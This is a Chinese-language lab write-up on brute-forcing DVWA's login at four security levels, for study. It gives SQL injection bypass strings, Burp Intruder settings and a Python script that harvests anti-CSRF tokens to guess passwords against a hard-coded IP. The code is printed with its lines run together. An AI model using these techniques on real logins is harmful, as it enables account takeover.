当前位置: 首页 > news >正文

【DVWA】Brute Force暴力破解实战

问尔辈 何等样人 自摸心头 再来求我;若汝能 克存忠孝 持身正直 不拜何妨

1.Brute Force(Low)

相关的代码分析

if( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Check the database$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

可以看到,服务器只是通过 isset( $_GET[ ‘Login’ ]) 来判断 参数Login是否被设置(isset函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false),没有任何的防爆破机制,且对参数username、password没有做任何过滤,存在明显的sql注入漏洞。

第一种方法,用burp的intruder模块爆破

加标识符

在这里插入图片描述

设置payload

在这里插入图片描述

设置线程,并开始爆破

在这里插入图片描述

查看返回信息中,长度不同的,再看返回状态,爆破成功,账号:admin 密码:password

在这里插入图片描述

第二种方法,使用SQL注入

账号输入admin’发现报错

在这里插入图片描述

在用户名处注入语句,密码处为空

admin’ or ‘1’=‘1或者admin’ #

在这里插入图片描述

2.Brute Force(Medium)

相关的代码分析

在这里插入图片描述

相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)进行转义,基本上能够抵御sql注入攻击,说基本上是因为查到说 MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义(因实验环境的MySQL版本较新,所以并未做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(登录错误的sleep(2)实在算不上)。

虽然sql注入不再有效,但依然可以使用Burpsuite进行爆破,与Low级别的爆破方法基本一样,这里就不赘述了。

3.Brute Force(High)

相关代码分析

在这里插入图片描述

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

在这里插入图片描述

每次次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

在这里插入图片描述

同时,High级别的代码中,使用了stripslashes(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个)、 mysql_real_escape_string对参数username、password进行过滤、转义,进一步抵御sql注入。

在这里插入图片描述

第一种方法,由于加入了Anti-CSRFtoken预防无脑爆破,存在user_token时的登录流程为:

在这里插入图片描述

简单用python写个脚本。

下面的脚本(python 3.7),用户名为admin,对password参数进行爆破并打印结果,仅供各位参考。

# !/usr/bin/env python
# -*- coding: utf-8 -*-
# @File  : brute_force.py
# @Author: ShenHao
# @Contact : 1427662743@qq.com
# @Date  : 20-2-4下午4:26
# @Desc  : 脚本爆破带token的web网站from bs4 import BeautifulSoup
import requestsheader = {'Host': '43.247.91.228:81','User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Accept-Encoding': 'gzip, deflate','Referer': 'http://43.247.91.228:81/vulnerabilities/brute/index.php','Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u','DNT': '1','Connection': 'close','Upgrade-Insecure-Requests': '1'
}login_header = {'Host': '43.247.91.228:81','User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Accept-Encoding': 'gzip, deflate','Cookie': 'security=high; PHPSESSID=lksl77ja4uiqqogplk4fl1po6u','DNT': '1','Connection': 'close','Upgrade-Insecure-Requests': '1'
}url = "http://43.247.91.228:81/vulnerabilities/brute/index.php"
login_url = r'http://43.247.91.228:81/login.php'# 获取主界面的token
def get_login_token(requrl, header):response = requests.get(url=requrl, headers=header)data = response.text# print('\t', len(data))soup = BeautifulSoup(data, "html.parser")user_token = soup.select('form[action] > input[name]')[0].get('value')  # get the user_tokenreturn user_token# 获取爆破界面的token
def get_target_token(requrl, header):response = requests.get(url=requrl, headers=header)data = response.textprint('\t', len(data))# print(data)soup = BeautifulSoup(data, "html.parser")# user_token = soup.select('form[action] > input[type]')  # get the user_tokenuser_token = soup.find_all('input')[3].get('value')  # get the user_token# print(user_token)return user_token# 先登录主界面
login_token = get_login_token(login_url, login_header)
requests.post(url=login_url,headers=login_header,data={'username': 'admin', 'password': 'password', 'Login': 'Login', 'user_token': login_token})# 进入目标界面
user_token = get_target_token(url, header)
i = 0
for line in open("password.txt"):requrl = "http://43.247.91.228:81/vulnerabilities/brute/index.php" + "?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_tokenprint(i, '\tadmin\t', line.strip(), end='\t')user_token = get_target_token(requrl, header)i += 1print('Task Done!')

在这里插入图片描述

对比结果看到,密码为password时返回的长度不太一样,手工验证,登录成功,爆破完成。

第二种方法,用burp爆破,具体设置如下:

选择pitchfork进行爆破,添加密码和token变量

在这里插入图片描述

因为token值是单次传递的,所以线程数改为1

在这里插入图片描述

在GREP-Extract中获取响应包,从中提取参数。选中token值,这个时候工具会自动编辑规则,复制token值备用。点击ok。

在这里插入图片描述

在页面最底部找到always选项

在这里插入图片描述

回到payloads模块,正常添加第一个变量密码的字典

在这里插入图片描述

第二个变量选择递归搜索(Recursive grep)

在这里插入图片描述

查看返回信息中,长度不同的,再看返回状态,爆破成功,账号:admin 密码:password

在这里插入图片描述

4.Brute Force(Impossible)

相关的代码分析

在这里插入图片描述

可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
http://www.lryc.cn/news/488874.html

相关文章:

  • 23种设计模式速记法
  • 第7章硬件测试-7.3 功能测试
  • 动态规划子数组系列一>等差数列划分
  • 《Python浪漫的烟花表白特效》
  • 什么是RESTful API,有什么特点
  • 友思特新闻 | 友思特荣获广州科技创新创业大赛智能装备行业赛初创组优胜企业!
  • CSS中calc语法不生效
  • 国标GB28181视频平台EasyCVR视频融合平台H.265/H.264转码业务流程
  • ES6 模板字符串详解
  • 浏览器插件启动本地程序
  • Ubuntu ESP32开发环境搭建
  • 【gitlab】部署
  • vue中路由缓存
  • Github 2024-11-18 开源项目周报 Top15
  • GRCNN使用onnxruntime和tensorrt推理
  • java中的this关键字
  • Easyexcel(3-文件导出)
  • iOS应用网络安全之HTTPS
  • openharmony napi调试笔记
  • springboot基于微信小程序的农产品交易平台
  • Spring Boot 注解
  • P8692 [蓝桥杯 2019 国 C] 数正方形:结论,组合数学
  • Spring Boot开发—— 实现订单号生成逻辑
  • React中Redux的基本用法
  • unity3d————基础篇小项目(设置界面)
  • 推荐几个 VSCode 流程图工具
  • 用java和redis实现考试成绩排行榜
  • hhdb数据库介绍(9-24)
  • HDMI数据传输三种使用场景
  • unigui 登陆界面